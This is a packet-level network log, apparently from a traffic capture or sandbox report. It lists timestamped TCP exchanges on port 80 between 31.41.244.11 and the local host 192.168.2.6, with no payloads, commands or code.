Dec 18, 2024 11:47:48.522121906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.522155046 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.523195028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.523206949 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.523238897 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.524372101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.524384975 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.524409056 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.524437904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.525504112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.525517941 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.525546074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.525559902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.526650906 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.526695013 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.526710033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.526747942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.527837038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.527849913 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.527879953 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.527890921 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.529067039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.529103994 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.529148102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.529184103 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.530361891 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.530374050 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.530399084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.530416965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.531369925 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.531410933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.531445980 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.531476974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.532531977 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.532543898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.532604933 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.533672094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.533687115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.533724070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.533762932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.534996033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.535007954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.535124063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.535124063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.536125898 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.536138058 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.536168098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.537990093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.538006067 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.538028955 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.538043976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.668143034 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.668158054 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.668231964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.668638945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.668651104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.668680906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.668703079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.669920921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.669958115 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.670238018 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.670275927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.670928955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.670942068 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.671005964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.671005964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.672091007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.672105074 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.672136068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.672147989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.673202038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.673245907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.673434973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.673469067 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.674340963 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.674354076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.674376965 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.674390078 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.675457001 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.675472021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.675496101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.675522089 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.676615000 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.676626921 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.676655054 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.676666021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.678040028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.678054094 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.678077936 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.678091049 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.678992987 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.679007053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.679033041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.679054022 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.680165052 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.680179119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.680205107 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.680231094 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.681313038 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.681350946 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.681390047 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.681426048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.682409048 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.682423115 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.682447910 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.682466984 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.683562040 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.683576107 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.683608055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.683624983 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.685060024 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.685072899 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.685103893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.685113907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.685894012 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.685909033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.685939074 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.685959101 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.687091112 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.687103033 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.687134981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.687146902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.688405991 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.688419104 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.688450098 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.688465118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.689500093 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.689513922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.689537048 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.689553976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.690610886 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.690648079 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.691015005 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.691049099 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.691828966 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.691842079 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.691869020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.691879034 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.692903996 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.692945004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.694063902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.694102049 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.694114923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.694149971 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.695353985 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.695367098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.695415020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.695415020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.696410894 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.696449995 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.696715117 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.696751118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.697973967 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.697985888 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.698025942 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.698883057 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.698898077 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.698910952 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.698928118 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.698957920 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.700048923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.700089931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.700432062 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.700469017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.701479912 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.701492071 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.701524973 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.702584028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.702596903 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.702621937 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.702644110 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.703689098 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.703701973 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.703728914 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.703737974 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.704782009 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.704796076 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.704823017 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.704834938 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.705902100 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.705914021 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.705944061 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.705960035 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.706943989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.706957102 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.706979990 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.706995964 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.708234072 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.708247900 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.708278894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.708297014 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.709417105 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.709431887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.709460020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.709474087 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.711175919 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.711188078 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.711237907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.712095976 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.712107897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.712135077 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.712152004 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.712852955 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.712893009 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.713164091 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.713210106 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.714204073 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.714226961 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.714241982 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.714261055 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.716377020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.716407061 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.716430902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.716464996 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.716686010 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.716711998 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.716731071 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.716742992 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.718041897 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.718067884 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.718084097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.718101978 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.719008923 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.719033003 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.719049931 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.719070911 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.720005989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.720029116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.720048904 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.720068932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.721582890 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.721606016 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.721622944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.721648932 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.722369909 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.722393990 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.722417116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.722438097 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.723680019 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.723711014 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.723721981 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.723751068 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.724793911 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.724818945 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.724842072 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.724860907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.725882053 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.725905895 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.725925922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.725940943 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.727720022 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.727746964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.727776051 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.727809906 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.728070974 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.728106976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.728487015 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.728528976 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.729123116 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.729163885 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.862793922 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.862819910 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.862845898 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.862879038 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.865601063 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.865617037 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.865652084 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.865686893 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866074085 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866111040 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866147995 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866178036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866278887 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866295099 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866313934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866328001 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866889954 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866904020 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.866936922 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.866952896 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.867450953 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.867468119 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.867487907 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.867516041 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.867867947 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.867882013 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.867907047 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.867923021 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.868447065 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.868463039 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.868484020 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.868501902 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.869508982 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.869530916 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.869549036 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.869574070 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.870213032 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.870249987 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.870651007 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.870687962 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.871759892 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.871783972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.871813059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.871831894 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.872677088 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.872729063 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.872750044 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.872796059 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.873866081 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.873888969 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.873912096 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.873927116 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.875114918 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.875132084 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.875161886 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.875196934 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.879585028 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.879609108 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.879626989 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.879652023 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.879990101 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880012989 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880033016 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.880049944 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.880115986 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880131006 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880148888 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.880167007 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.880702972 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880718946 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.880739927 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.880764008 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.881047964 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.881087065 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.881818056 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.881850958 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.882371902 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.882417917 CET	49878	80	192.168.2.6	31.41.244.11
Dec 18, 2024 11:47:48.882884026 CET	80	49878	31.41.244.11	192.168.2.6
Dec 18, 2024 11:47:48.882930994 CET	49878	80	192.168.2.6	31.41.244.11
